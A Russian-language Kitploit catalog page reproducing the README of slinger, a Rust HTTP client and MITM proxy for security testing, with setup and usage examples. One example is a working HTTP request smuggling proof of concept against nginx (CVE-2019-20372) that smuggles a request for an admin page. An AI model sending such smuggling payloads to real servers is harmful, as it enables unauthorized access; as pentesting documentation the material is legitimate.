Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
slinger — HTTP-клиент, специально разработанный для исследователей безопасности | Kitploit
Инструменты/GitHubGitHub/emo-crab/slinger
Анализ уязвимостейВеб-прокси и перехватТестирование безопасности APIВеб-безопасностьТестирование на Проникновение
GitHubemo-crab/slinger

slinger

HTTP-клиент, специально разработанный для исследователей безопасности

Репозиторий
302516 дней назадПроверено Kitploit
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Contributors Forks Stargazers Issues MIT License crates io


Logo

slinger(投石器)

HTTP-клиент для Rust, созданный для хакеров. · ·


Ознакомиться с документацией »


Посмотреть демо
Сообщить об ошибке
Предложить улучшение

О проекте

Скриншот продукта

Slinger — это рабочее пространство, включающее:

slinger

Основная библиотека HTTP-клиента для Rust, созданная для хакеров.

  • настраиваемая политика перенаправлений
  • прокси http/https и socks5/socks5h
  • хранилище cookie
  • raw-запросы через сокет
  • HTTPS через TLS

slinger-mitm

Прокси-сервер типа «Man-in-the-Middle» (MITM) с прозрачным перехватом HTTPS-трафика, аналогичный Burp Suite.

  • Автоматическая генерация CA-сертификатов с улучшенным управлением сертификатами (вдохновлено hudsucker)
  • Кэширование сертификатов для высокой производительности
  • Прозрачный перехват HTTPS с использованием бэкенда rustls
  • Интерфейсы для перехвата и модификации трафика
  • Случайные серийные номера и обработка рассинхронизации часов
  • Использует реализацию Socket из slinger
  • Минимальное количество внешних зависимостей

(наверх)

Начало работы

Использование slinger (HTTP-клиент)

В этом примере включены некоторые опциональные возможности, поэтому ваш Cargo.toml может выглядеть так:

root@kitploit:~
[dependencies]
slinger = { version = "0.2.9", features = ["serde", "cookie", "charset", "tls", "rustls", "gzip"] }

А затем код:

root@kitploit:~
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  let resp = slinger::get("https://httpbin.org/get").await?;
  println!("{:?}", resp.text());
  Ok(())
}

Использование slinger-mitm (MITM-прокси)

Добавьте в ваш Cargo.toml:

root@kitploit:~
[dependencies]
slinger-mitm = { version = "0.2.9" }
tokio = { version = "1", features = ["full"] }

Пример кода:

root@kitploit:~
use slinger_mitm::{MitmConfig, MitmProxy, Interceptor};
use std::sync::Arc;

#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
    let config = MitmConfig::default();
    let proxy = MitmProxy::new(config).await?;
    
    // Add logging interceptor
    let handler = proxy.interceptor_handler();
    let mut h = handler.write().await;
    h.add_request_interceptor(Arc::new(Interceptor::logging()));
    drop(h);
    
    proxy.start("127.0.0.1:8080").await?;
    Ok(())
}

Подробнее об использовании MITM-прокси см. slinger-mitm/README.md.

Возможности

Slinger поддерживает следующие опциональные возможности:

  • tls — базовая поддержка TLS (включает типы и интерфейсы TLS без конкретного бэкенда)
  • rustls — поддержка HTTPS через Rustls (требует tls, реализация на чистом Rust)
  • http2 — поддержка протокола HTTP/2 (требует бэкенда TLS)
  • cookie — поддержка обработки cookie
  • charset — поддержка кодировок символов
  • serde — поддержка сериализации/десериализации
  • gzip — поддержка сжатия Gzip
  • schema — поддержка JSON Schema

Выбор бэкенда TLS

Для использования TLS необходимо:

  1. Включить возможность tls
  2. Выбрать бэкенд rustls ИЛИ предоставить собственный TLS-коннектор

Примеры комбинаций возможностей:

root@kitploit:~
# Использование бэкенда rustls
slinger = { version = "0.2.8", features = ["tls", "rustls"] }

# Использование собственного бэкенда TLS (требуется реализация CustomTlsConnector)
slinger = { version = "0.2.8", features = ["tls"] }

Собственный бэкенд TLS (например, native-tls, OpenSSL)

Если вы хотите использовать native-tls, OpenSSL или другие TLS-библиотеки, вы можете реализовать собственный TLS-коннектор. Полный пример интеграции native-tls см. в native_tls_example.rs.

Пример

  • Nginx - Http Smuggling CVE-2019-20372
root@kitploit:~
use std::io::BufRead;
use slinger::{ClientBuilder, HTTPRecord};

/// CVE-2020-11724
/// when you're using BurpSuite proxy need **disabled** "set **Connection** header on incoming request"
const RAW: &[u8] = b"GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
Content-Length: 42
Transfer-Encoding: chunked

0

GET /test1 HTTP/1.1
Host: 192.168.83.196:8081
X: GET http://192.168.83.1:8080/admin.jsp HTTP/1.0

";
#[tokio::main]
async fn main() -> Result<(), Box<dyn std::error::Error>> {
  // let proxy = slinger::Proxy::parse("http://127.0.0.1:8080").unwrap();
  let client = ClientBuilder::default().build().unwrap();
  let mut raw = Vec::new();
  // replace \n to \r\n
  for line in RAW.lines() {
    match line {
      Ok(l) => {
        raw.extend(l.as_bytes());
        raw.extend(b"\r\n")
      }
      Err(err) => {
        println!("{:?}", err);
      }
    }
  }
  let resp = client.raw("http://127.0.0.1:9015/", raw, true).send().await?;
  let record = resp.extensions().get::<Vec<HTTPRecord>>().unwrap();
  println!("{:?}", record);
  Ok(())
}

Больше примеров можно найти в example

(наверх)

Вклад в проект

Вклад — это то, что делает open source сообщество таким замечательным местом для обучения, вдохновения и творчества. Любой ваш вклад очень ценен.

Если у вас есть предложение, которое может улучшить проект, сделайте форк репозитория и создайте pull request. Вы также можете просто открыть issue с тегом "enhancement". Не забудьте поставить проекту звезду! Ещё раз спасибо!

  1. Форкните проект
  2. Создайте ветку для вашей функции (git checkout -b feature/AmazingFeature)
  3. Закоммитьте изменения (git commit -m 'Add some AmazingFeature')
  4. Запушьте ветку (git push origin feature/AmazingFeature)
  5. Откройте Pull Request

(наверх)

Лицензия

Распространяется под лицензией GPL-3.0-only. См. LICENSE для получения дополнительной информации.

(наверх)

Контакты

Ваше имя — @Kali_Team — [email protected]

Ссылка на проект: https://github.com/emo-crab/slinger

(наверх)

Благодарности

  • reqwest

(наверх)

Скачать инструмент